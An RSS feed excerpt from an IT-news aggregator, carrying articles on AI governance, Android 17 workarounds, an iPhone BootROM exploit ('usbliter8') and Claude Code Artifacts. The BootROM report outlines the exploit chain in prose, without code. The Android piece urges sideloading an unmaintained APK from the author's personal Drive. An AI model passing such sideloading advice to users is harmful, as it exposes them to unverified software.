<h2 class="wp-block-heading">The cloud journey was a preview</h2>



<p>MacIntyre offered a useful frame for the CIO community in that the AI governance challenge is structurally similar to the cloud transition, and enterprises that went through that migration have hard-won lessons that apply now. “When the explosion of AI happened, it didn’t just affect security and the attackers,” he said. “It also impacted the business, increasing velocity, and the ability to innovate and move faster. So we have to be there and be able to safely enable that for them.”</p>



<p>The instinct to block AI entirely will fail, just as blocking cloud adoption failed a decade ago. Business units will find workarounds. The job of the CIO and CISO, therefore, is to channel that velocity through governed, instrumented, and recoverable infrastructure.</p>



<p>Geurden’s framing from EY’s audit practice added a useful warning about overconfidence. Three years ago, the firm tested whether AI could pass the CPA exam. It could, easily, but the team quickly discovered that for complex professional judgment questions, the model assigned roughly equal probability to multiple answers. “At which point, you can’t build a control structure because you have to check everything it does,” he said. That discovery slowed EY’s AI rollout in the audit practice and arguably saved them from a much larger exposure. The lesson is that capability and trustworthiness aren’t the same thing, and closing that gap requires exactly the kind of integrated data governance and resilience architecture that most enterprises have yet to build.</p>



<p>AI has knocked down the wall between resilience and security, and CIOs who rebuild it will spend the next three years reacting to incidents. But those who build a unified data trust architecture will be the ones empowering the business to move fast with confidence, and that’s a position all CIOs should strive to be in.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to bring the best Android 17 features to any Android phone today]]></title>
<description><![CDATA[Google’s latest and greatest Android version is officially now out in the world and available — but if you’re using any phone other than a Pixel, that doesn’t mean much for you just yet.



The reason why is simple: Despite Google officially launching Android 17 and starting to send it out to And...]]></description>
<link>https://tsecurity.de/de/3609957/it-nachrichten/how-to-bring-the-best-android-17-features-to-any-android-phone-today/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609957/it-nachrichten/how-to-bring-the-best-android-17-features-to-any-android-phone-today/</guid>
<pubDate>Fri, 19 Jun 2026 12:02:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Google’s latest and greatest Android version is officially now out in the world and available — but if you’re using any phone other than a Pixel, that doesn’t mean much for you just yet.</p>



<p>The reason why is simple: Despite Google <a href="https://blog.google/products-and-platforms/platforms/android/android-17-features" target="_blank" rel="noreferrer noopener">officially launching Android 17</a> and starting to send it out to Android phone-owners this week, it’s up to each individual device-maker to process the software and deliver it to its customers. And outside of Google itself, unfortunately, most Android device-makers are <a href="https://www.computerworld.com/article/4103529/android-16-upgrade-report-card-2.html">exasperatingly unreliable about making that happen</a> — some of ’em to <a href="https://www.computerworld.com/article/4177363/motorola-android-phones.html">almost comically bad extremes</a> (insert exaggerated sigh here).</p>



<p>Hold the phone, though — ’cause there <em>is </em>some good news here: While we can’t force any Android phone-maker to start treating software support as a priority, we <em>can</em> get creative and find ways to bring interesting new Android features to devices running older <a href="https://www.computerworld.com/article/1714347/android-versions-a-living-history-from-1-0-to-today.html">Android versions</a>. In fact, all four of <a href="https://www.computerworld.com/article/4185786/google-pixel-android-17.html">the Android 17 features I called out earlier this week</a> can be emulated on <em>any</em> Android phone this instant. All it takes is a teensy pinch of inspiration and a dash of tenacity — and, of course, the right roadmap to make it all come together.</p>



<p>The tenacity’s on you, but if you’re game, I’ve got your roadmap ready. Here’s exactly how to enjoy a similar sort of Android-17-style sorcery on whatever phone you’re using right now — as far as some of the more surface-level highlights, at least — without having the actual Android 17 upgrade in front of you.</p>



<p><strong>[Get fresh Android tips in your inbox with </strong><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>my free Android Intelligence newsletter</strong></a><strong> — one new and useful thing to try every Friday!]</strong></p>



<h2 class="wp-block-heading"><strong>Android 17 feature #1: Bubbles multitasking magic</strong></h2>



<p>The most shape-shifting Android 17 of all, without a doubt, is Bubbles — a snazzy new way to turn any app into a floating, collapsible window that’s readily available for on-demand access but also out of your hair when you aren’t actively using it.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/android-17-bubbles.webp" alt="Android 17 Bubbles" class="wp-image-4185801" width="800" height="814" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption">Android 17’s Bubbles multitasking system in action.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>I <a href="https://www.computerworld.com/article/4143157/android-multitasking.html">wrote about Bubbles and ways to achieve similar feats</a> just a few months back. It’s surprisingly easy to accomplish, even without Android 17 in the picture.</p>



<p>Look over <a href="https://www.computerworld.com/article/4143157/android-multitasking.html#:~:text=Android%20Bubbles%20today%3A%203%20crafty%20options">this list of crafty Bubbles-bringing workarounds</a> and see which makes the most sense for you. One way or another, you’ll find yourself facing a fantastic new option for multitasking anytime you want it — no waiting or out-of-reach upgrades required.</p>



<h2 class="wp-block-heading"><strong>Android 17 feature #2: Smarter location access</strong></h2>



<p>Our next Android 17 addition is a <em>little</em> trickier to emulate without the actual operating system update in the equation. But fear not, for this is Android — and when there’s a will, there’s a way.</p>



<p>The feature of which we speak is an expansion of Android’s framework for how apps can access your location. It’s a two-parter: First, whenever any app is accessing your location, you’ll now see a blue dot appear in the upper-right corner of your screen — and if you swipe down once from the top of your screen to open your notification panel, you can actually tap on the location icon that appears in its place to get detailed info about exactly which app or apps are involved. Second, when an app asks to access your precise location, Android 17 adds in the option to allow such access only temporarily — for that one brief moment and purpose — without giving the app permanent permission for ongoing use.</p>



<p>The second part, unfortunately, is challenging to achieve without Android 17 being present. But the first part <em>is</em> something we can make happen with a sliver of creative zest.</p>



<p>The trick revolves around a classic third-party app called <a href="https://play.google.com/store/apps/details?id=rk.android.app.privacydashboard&amp;hl=en_US" target="_blank" rel="noreferrer noopener">Privacy Dashboard</a>. Privacy Dashboard came about <a href="https://www.computerworld.com/article/1614674/android-12-privacy-upgrade.html">back in the Android 12 era</a>, when Google first introduced a full-fledged privacy dashboard into Android and certain devices were lagging behind and taking too long to adopt it.</p>



<p>With Android 12 now being five years old, the app hasn’t had much need in recent years — until now. Interestingly enough, the ability to see full details about ongoing location access and then tap to adjust the associated app’s settings is something Privacy Dashboard has long offered. And it’s consequently a great way to bring that newfound native ability from Android 17 onto a device running an older Android version.</p>



<p>The catch is that because of the limited need for the app all this time, it’s no longer being actively developed — and as a result, if you hadn’t previously downloaded it, the Play Store will probably give you an error saying it’s made for an older Android version and can’t be installed on your device.</p>



<p>It <em>will</em> still work, though, and it’s perfectly functional and effective.</p>



<p>Provided you’re comfortable and that this won’t violate any of your company-associated policies, you can <a href="https://drive.google.com/file/d/1mx9SjEcq2qPIelP017lwSISRPzF2Nj6D/view?usp=sharing" target="_blank" rel="noreferrer noopener">download the original verified Privacy Dashboard app package from my own personal Drive storage</a>. I saved it using the <a href="https://www.computerworld.com/article/1718187/android-file-manager-apps.html">Google Files file manager</a> and then uploaded it directly to Drive. It’s quite literally the same exact app you’d get from the Play Store, if the Play Store would let you download it — and while I wouldn’t often advise installing apps from unknown sources, I don’t exactly consider myself to be “unknown” (most of the time). So as long as you share that same trust, you can grab the app from me and put it on any device you want.</p>



<p>Once you get the app installed and give it the permissions it needs to operate, open ‘er up and tap the “App Settings” options on its main screen. Tap the line that says “Indicator Customization,” beneath “Privacy Indicators,” then flip the toggle next to “Click action” into the on and active position.</p>



<p>Aaaaand, that’s it: Anytime an app is accessing your location, you’ll see a green location icon appear in the upper-right corner of your screen. And tapping it will take you to the system-level timeline of exactly which apps have accessed your location recently, for added context.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/android-17-privacy-dashboard-location-indicator.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android 17 Privacy Dashboard location indicator" class="wp-image-4185875" width="1024" height="859" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Privacy Dashboard was ahead of its time with its Android-17-reminiscent location access indicators.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Before you install Privacy Dashboard, you might also want to try just opening an app that you know accesses your location — like Google Maps — and seeing what, if any, indicator appears in the corner of your screen and if you can tap it. While that ability is technically associated with Android 17, it was actually included in an earlier Android quarterly update, and it’s possible your device may already have that piece of the puzzle in place even if it isn’t yet running Android 17.</p>



<h2 class="wp-block-heading"><strong>Android 17 feature #3: More dynamic dark mode</strong></h2>



<p>Android’s dark mode is better than ever as of Android 17, with a nifty new way to force each and every app to respect your device-wide dark mode setting and adjust its interface to a less glary look — even if it doesn’t technically support the option.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/android-17-dark-theme-expanded.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android 17 dark theme expanded " class="wp-image-4185802" width="1024" height="842" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Dark mode in Android 17 includes a useful new “Expanded” option.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Well, get this: If your phone’s Android software is reasonably recent, it’s entirely possible you can unlock the very same function by adjusting a few out-of-sight system settings.</p>



<p>Try this:</p>



<ul class="wp-block-list">
<li>First, you’ll need enable Android’s developer options, if you haven’t done that previously.
<ul class="wp-block-list">
<li>That’s a special, typically hidden section of Android’s system settings with all sorts of advanced options that aren’t typically intended for average phone-usin’ folk to futz around with.</li>



<li>There’s no risk to you or your phone with enabling ’em, and as long as you follow the instructions here exactly and enable only the one single setting we’re about to go over, it’s actually quite easy. (It’s also quite easy to undo, if you ever decide you aren’t into it and want to go back.) But we <em>are </em>pokin’ around in an area of Android that’s meant mostly for developers, and if you veer off-course and mess with the wrong setting, you could make a mess — so follow the steps closely, capisce?</li>
</ul>
</li>



<li>The process for enabling Android’s developer options may sound strange, but I swear it works: Head into the “About phone” section of your system settings, tap “Software information,” if needed, then find the line that says “Build number.” Tap your finger on it seven times, then enter your PIN or password, if prompted, and confirm that you want to activate the developer options.</li>



<li>Now, go back to your main settings screen and either tap on the “Developer options” that appears within that list or tap “System” and <em>then</em> tap “Developer options” from there.</li>



<li>Scroll down through that section until you see an option called “Force Dark mode.” Flip the toggle next to it.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/android-17-dark-theme-expanded-developer-settings.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android 17 dark mode expanded - developer settings" class="wp-image-4185882" width="1024" height="762" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Android’s developer settings holds the secret to Android-17-style “Extended” dark mode, even on older Android versions.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>And there ya have it: You should now be able to open any app, even if it doesn’t officially support dark mode, and see it shift into a darkened state whenever you have dark mode enabled at the system level. </p>



<p>Easy peasy, no?</p>



<h2 class="wp-block-heading"><strong>Android 17 feature #4: A more comfy all-around view</strong></h2>



<p>Our final Android 17 feature is a saucy little somethin’ called Comfort View. It applies a softer, pastel-oriented filter to your display with automatic adjustments based on your current viewing environment in order to make your screen easier on the eyes.</p>



<p>If you’re using a Samsung device, you may already have something similar in place even with an older Android version. Look in the Display section of your system settings and see if you see something called “Adaptive color tone,” then try activating it if it’s there — and/or look for “Screen mode” and play around with some of the settings in that area to see vaguely similar sorts of adjustments. It isn’t quite as intelligent or automatic as the new incoming Android-level equivalent, but it’s a start!</p>



<p>In any other scenario — or if you just want more nuance and control, even with a Samsung gizmo — grab an app called <a href="https://play.google.com/store/apps/details?id=com.urbandroid.lux&amp;hl=en" target="_blank" rel="noreferrer noopener"><strong>Twilight</strong></a>. It’ll let you tweak all sorts of specifics about the appearance of your screen, and while it’s presented mostly for nighttime optimization, you can use those same controls to create your own custom modes for any scenario imaginable.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/android-17-comfort-view-twilight.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android 17 Comfort View - Twilight" class="wp-image-4185874" width="1024" height="893" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Twilight can help you recreate effects similar to Android 17’s Comfort View.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>The app doesn’t collect or share any manner of data, and while it does offer a $10 Pro upgrade, the free version is perfectly functional for most purposes.</p>



<p>And with that, give yourself a pat on the back: Your phone is officially now set up to showcase some of Android 17’s finest flavors — even without the software itself being available to you yet.</p>



<p>That, my friend, is quite an accomplishment. Well done.</p>



<p><em>Don’t stop there: </em><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong><em>Come check out my free Android Intelligence newsletter</em></strong></a><strong><em> </em></strong><em>to get something new and useful in your inbox every Friday — and get my awesome Android Notification Power-Pack today.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New iPhone BootROM Flaw Enables Hardware-Level Compromise]]></title>
<description><![CDATA[Security researchers have disclosed a previously unknown iPhone BootROM vulnerability that allows attackers to compromise the boot chain on several Apple devices, including systems powered by A12 and A13 processors as well as Apple Watch S4 and S5 chipsets. The flaw, demonstrated through a proof-...]]></description>
<link>https://tsecurity.de/de/3609602/it-security-nachrichten/new-iphone-bootrom-flaw-enables-hardware-level-compromise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609602/it-security-nachrichten/new-iphone-bootrom-flaw-enables-hardware-level-compromise/</guid>
<pubDate>Fri, 19 Jun 2026 09:22:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://thecyberexpress.com/wp-content/uploads/iPhone-BootROM-vulnerability.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="iPhone BootROM vulnerability" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/iPhone-BootROM-vulnerability.webp 1376w, https://thecyberexpress.com/wp-content/uploads/iPhone-BootROM-vulnerability-300x167.webp 300w, https://thecyberexpress.com/wp-content/uploads/iPhone-BootROM-vulnerability-1024x572.webp 1024w, https://thecyberexpress.com/wp-content/uploads/iPhone-BootROM-vulnerability-768x429.webp 768w, https://thecyberexpress.com/wp-content/uploads/iPhone-BootROM-vulnerability-600x335.webp 600w, https://thecyberexpress.com/wp-content/uploads/iPhone-BootROM-vulnerability-150x84.webp 150w, https://thecyberexpress.com/wp-content/uploads/iPhone-BootROM-vulnerability-750x419.webp 750w, https://thecyberexpress.com/wp-content/uploads/iPhone-BootROM-vulnerability-1140x636.webp 1140w, https://thecyberexpress.com/wp-content/uploads/iPhone-BootROM-vulnerability.webp 1376w, https://thecyberexpress.com/wp-content/uploads/iPhone-BootROM-vulnerability-300x167.webp 300w, https://thecyberexpress.com/wp-content/uploads/iPhone-BootROM-vulnerability-1024x572.webp 1024w, https://thecyberexpress.com/wp-content/uploads/iPhone-BootROM-vulnerability-768x429.webp 768w, https://thecyberexpress.com/wp-content/uploads/iPhone-BootROM-vulnerability-600x335.webp 600w, https://thecyberexpress.com/wp-content/uploads/iPhone-BootROM-vulnerability-150x84.webp 150w, https://thecyberexpress.com/wp-content/uploads/iPhone-BootROM-vulnerability-750x419.webp 750w, https://thecyberexpress.com/wp-content/uploads/iPhone-BootROM-vulnerability-1140x636.webp 1140w" sizes="(max-width: 1376px) 100vw, 1376px" title="New iPhone BootROM Flaw Enables Hardware-Level Compromise 1"></p><span data-contrast="auto">Security researchers have disclosed a previously unknown iPhone BootROM vulnerability that allows attackers to compromise the boot chain on several Apple devices, including systems powered by A12 and A13 processors as well as Apple Watch S4 and S5 chipsets. The flaw, demonstrated through a proof-of-concept exploit dubbed "usbliter8," combines a hardware weakness in a USB controller with a firmware configuration issue that affects BootROM security.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">According to the researchers, the iPhone BootROM <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="28762">vulnerability</a> impacts Apple A12, A13, and Apple Watch S4/S5 platforms. While support for A12X and A12Z chips may be technically feasible, those devices were not included in the released implementation. The team said successful testing across the affected hardware was sufficient to validate both the vulnerability and the exploitation method.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Because the flaw resides in immutable SecureROM code, software updates cannot fully eliminate the <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risk" data-wpil-keyword-link="linked" data-wpil-monitor-id="28764">risk</a>. Researchers noted that upgrading to newer hardware remains the most effective mitigation.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">USB Controller Flaw Triggers iPhone BootROM vulnerability</span></b></h3>
<span data-contrast="auto">The vulnerability originates in the Synopsys DesignWare USB 2 (DWC2) controller used in affected <a href="https://thecyberexpress.com/iphone-ipad-cleared-for-nato-classified-data/" target="_blank" rel="noopener">Apple devices</a>. During USB communications, Setup transactions are transferred into memory using Direct Memory Access (DMA). Researchers discovered that the controller continuously updates the DMA address stored in the DOEPDMA register as <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="28763">data</a> is received.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The issue emerges when the controller processes multiple Setup packets. While it can store three consecutive packets normally, a fourth packet causes the DMA pointer to reset. However, because the controller also accepts smaller packets while still processing data in four-byte chunks, a mismatch occurs between pointer increments and resets.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">This design flaw creates a buffer underflow condition that enables controlled memory corruption in 12-byte increments. Researchers believe the weakness exists within the USB controller architecture itself rather than Apple's software implementation.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Testing showed that A12 and A13 SecureROM code is vulnerable, whereas A11 devices are not. The difference stems from the A11 USB driver, which manually restores the DMA address after each packet. Researchers also found that USB DART operates in bypass mode on A12 and A13 devices, enabling arbitrary SRAM overwrites. Newer A14 and later platforms appear to configure DART correctly, making practical exploitation significantly harder.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">SecureROM Code Execution Achieved Despite Protections</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto"><a href="https://thecyberexpress.com/servicenow-flaw-exploited/" target="_blank" rel="noopener">Exploitation</a> methods differed between hardware generations. On A12 and Apple Watch S4/S5 devices, researchers achieved program counter control by overwriting a saved link register located near the USB DMA buffer. This allowed them to redirect execution and build a return-oriented programming (ROP) chain.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The A13 platform introduced Pointer Authentication Codes (PAC), making direct stack corruption ineffective. To overcome this protection, researchers developed a multi-stage attack involving heap corruption, interrupt handler manipulation, and controlled execution of function pointers stored in memory.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The team ultimately gained privileged EL1 execution within SecureROM code, enabling them to modify Device Firmware Update (DFU) mode, inject custom USB request handlers, and boot unsigned iBoot images.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">To preserve their changes, the <a href="https://ps.tc/pages/blog-usbliter8.html" target="_blank" rel="nofollow noopener">researchers</a> copied BootROM code into SRAM, modified memory mappings through the MMU, and forced devices back into DFU mode after restarting SecureROM.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The researchers concluded that the iPhone BootROM vulnerability demonstrates how subtle hardware flaws can undermine modern <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="28761">security</a> protections. Although newer Apple devices appear unaffected, vulnerable A12, A13, and Apple Watch models will remain exposed for their operational lifetime because the flaw exists within immutable BootROM and SecureROM code. The findings were disclosed to Apple's Product Security team before publication.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic's Claude Code Artifacts update brings live, shared dashboards and interactive workspaces to enterprises]]></title>
<description><![CDATA[Anthropic announced a potentially game-changing new feature for users of Claude Code on the Claude Team and Enterprise subscription plans: Artifacts. This update turns a Claude Code session's work into a live, interactive, and shareable, custom HTML webpage, allowing a Claude Code user to plug in...]]></description>
<link>https://tsecurity.de/de/3609186/it-nachrichten/anthropics-claude-code-artifacts-update-brings-live-shared-dashboards-and-interactive-workspaces-to-enterprises/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609186/it-nachrichten/anthropics-claude-code-artifacts-update-brings-live-shared-dashboards-and-interactive-workspaces-to-enterprises/</guid>
<pubDate>Fri, 19 Jun 2026 02:47:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Anthropic announced a potentially game-changing new feature for users of Claude Code on the Claude Team and Enterprise subscription plans: <a href="https://claude.com/blog/artifacts-in-claude-code">Artifacts</a>. </p><p>This update turns a Claude Code session's work into a live, interactive, and shareable, custom HTML webpage, allowing a Claude Code user to plug in live code, multiple data sources, and have it surface on an interactive URL that they can send to other teammates — be it a dashboard, an app design, or some other product meant for internal usage. </p><div></div><p>These teammates and the original user can watch the webpage it update in real-time as Claude Code goes about its work autonomously or under the user's guidance, and as the connected data sources and codebases change. </p><p>While Anthropic first introduced Artifacts to its consumer web chatbot in the summer of 2024—where it evolved from a manual toggle feature to a generally available tool for publishing code snippets and games to the web—integrating this capability directly into the Claude Code command-line interface (CLI) and desktop app bridges the gap between deep, back-end engineering and the non-technical stakeholders who need to understand it.</p><h2><b>Product and Technology: The End of the Status Update</b></h2><p>At its core, Claude Code Artifacts acts as a dynamic translation layer. Built directly from the unbroken context of a user’s session, the agent uses the local repository codebase, connected monitoring tools, and conversational reasoning to spin up specialized web pages. </p><p>Engineers no longer need to wire up external data sources or stand up temporary infrastructure; the AI builds the UI from what already exists.</p><p>Crucially, these web pages are not static exports. As the AI works through a terminal session, the open webpage refreshes in-place, updating charts and text instantly at the exact same URL. Every update publishes a new version history, allowing teammates to roll back or track the agent's progress securely on desktop or mobile.</p><h2><b>The Battle of Live, Interactive, Shared AI Work Surfaces: Anthropic's Claude Code Artifacts vs. OpenAI's Codex Sites</b></h2><p>Anthropic's update comes more than <a href="https://venturebeat.com/orchestration/openais-codex-update-lets-agents-build-interactive-enterprise-workspaces-via-sites-and-role-specific-plugins">two weeks after OpenAI released a massive update to its own Codex platform</a>, introducing a strikingly similar enterprise hosting feature called "Sites". </p><p>This tit-for-tat product cadence highlights a rapidly escalating battle over the enterprise workspace across functions and beyond developers themselves, though there are some important technical and philosophical distinctions worth pointing out for enterprises considering either.  </p><p>As revealed in their respective developer documentation webpages, <a href="https://developers.openai.com/codex/sites">OpenAI</a> is building a platform-as-a-service; <a href="https://code.claude.com/docs/en/artifacts#share-session-output-as-artifacts">Anthropic</a> is building a stateless canvas.</p><p>OpenAI’s Sites is designed to generate durable, full-stack web applications. According to the platform's documentation, Codex Sites hosts projects that output as Cloudflare Worker-compatible ES modules. </p><p>Crucially, Sites supports persistent backend infrastructure: agents can automatically wire up "D1" relational databases for structured data (like user progress or saved records) and "R2" object storage for file uploads. An OpenAI Site can support public sign-ins, integrate with external identity providers, and allows for highly specific access controls tailored to specific workspace groups. </p><p>It utilizes a two-stage publishing process—saving a reviewable candidate linked to a Git commit before officially deploying to production. In short, it is a production environment designed to replace functional internal SaaS tools.</p><p>Anthropic’s Claude Code Artifacts, by contrast, deliberately avoids the backend. The newly released documentation is blunt about its limitations: "An artifact is a capture of work, not an application". </p><p>Each Artifact is a single, self-contained HTML page capped at a rendered size of 16 MiB. To guarantee organizational security, Claude wraps the published file in a strict Content Security Policy (CSP) that blocks all external network requests. T</p><p>his means the page cannot load external scripts, fonts, or stylesheets, and <code>fetch</code>, XHR, and WebSocket calls are completely blocked. All CSS and JavaScript must be inlined, and images must be embedded as data URIs. Artifacts cannot store form input, call an API at view time, or serve multiple routes.</p><p>This technical limitation is actually Anthropic's deliberate philosophical position: While OpenAI wants to spin up persistent software portals for the whole company, Anthropic is keeping Claude Code firmly anchored in ephemeral, highly secure technical workflows. Claude Artifacts are <i>not</i> meant to be software; they are meant to replace whiteboard diagrams, manual bug walkthroughs, and status reports with secure, self-updating visual tools that never leak live data outside the corporate boundary.</p><h2><b>Licensing and Enterprise Security: Keeping the Codebase Private</b></h2><p>Because these agents sit at the nexus of proprietary company data and live codebases, licensing and access controls are a primary concern. </p><p>Both Anthropic and OpenAI have opted for closed, proprietary licensing models for these new visual workspaces. For end users and developers, the distinction is critical. Unlike permissive open-source software (such as MIT or Apache 2.0) or strict copyleft licenses (like GPL)—which grant developers the legal freedom to inspect, modify, and self-host the underlying code—neither Claude Code Artifacts nor Codex Sites can be independently forked or hosted. </p><p>Enterprise clients do not maintain code-level ownership over Anthropic's rendering engine or Codex’s integration nodes; both operate strictly within their <i>respective creators' managed infrastructures.</i></p><p>To make this vendor-managed approach palatable to enterprise compliance teams, both companies have heavily prioritized organizational security. Anthropic ensures every artifact is private to its author by default and strictly cannot be made public to the broader internet. When an engineer chooses to share a link, it is viewable exclusively by authenticated members of their specific organization. System administrators retain ultimate authority, managing access through org-level toggles, role-based scoping, and explicit retention policies, while maintaining oversight through a centralized compliance API.</p><p>OpenAI takes a similarly gated approach with Codex Sites, rolling the feature out primarily for ChatGPT Business and Enterprise workspaces. Like Anthropic, OpenAI relies on system administrators to manage deployment through centralized workspace settings, requiring an admin to explicitly enable Sites via role-based access control (RBAC) for Enterprise tiers.</p><p>However, because Codex Sites functions more like a hosted web application, its access controls are slightly more granular. When an engineer prepares to share a deployed URL, they can apply specific access modes: restricting the site to just themselves and workspace admins, opening it to all active users in the workspace, or limiting access to custom user groups. </p><p>Furthermore, to prevent sensitive data leaks, OpenAI provides a dedicated Sites panel to manage runtime environment variables and secrets securely, ensuring those keys do not have to be committed to local source files.</p><h2><b>Reactions and Reflections</b></h2><p>The introduction of visual, self-updating UI layers to command-line agents is fundamentally altering how developers view their own workflows. As AI handles the raw syntax and automates the reporting, the friction of communicating technical work to stakeholders is vanishing.</p><p>Boris Cherny, the Lead and creator of Claude Code, highlighted the sheer utility of the update in a <a href="https://x.com/bcherny/status/2067700226669060207?s=20">post on X earlier today</a>: </p><p>"I've been using Artifacts in Claude Code for everything: visual explanations of tricky code, system diagrams, quick previews of a few animation options, data analyses and dashboards I share with the team," Cherny wrote. "They are a game changer for how I work with Claude. Can't wait to hear what you think!"</p><p>This sentiment is practically demonstrated in Anthropic’s launch materials. In one scenario, an engineer prompts Claude Code to investigate user drop-offs since a previous software release. </p><p>In a matter of seconds, the agent executes an SQL read, builds an interactive drop-off funnel dashboard, and diagnoses that "Pro accounts stall at the export sheet". The AI then proposes UI fixes, updates the live charts as the code is refactored, and generates a secure link that a manager can instantly open via mobile.</p><p>By turning the terminal into a live, collaborative canvas, Anthropic is proving that the most valuable output of an AI coding assistant isn't just the code itself—it is the context, the reasoning, and the ability to share that work instantly.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I had a blood clot. An AI diagnosis may have saved my life | Gleb Tsipursky]]></title>
<description><![CDATA[An AI tool is no replacement for a doctor, and regulation is essential. But together, physicians and AI could prove beneficialA calf cramp should not be a brush with death. Mine almost was.For five days, I had what felt like a stubborn muscle spasm in my left calf. It was tender, swollen and gett...]]></description>
<link>https://tsecurity.de/de/3604880/ai-nachrichten/i-had-a-blood-clot-an-ai-diagnosis-may-have-saved-my-life-gleb-tsipursky/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3604880/ai-nachrichten/i-had-a-blood-clot-an-ai-diagnosis-may-have-saved-my-life-gleb-tsipursky/</guid>
<pubDate>Wed, 17 Jun 2026 15:03:51 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
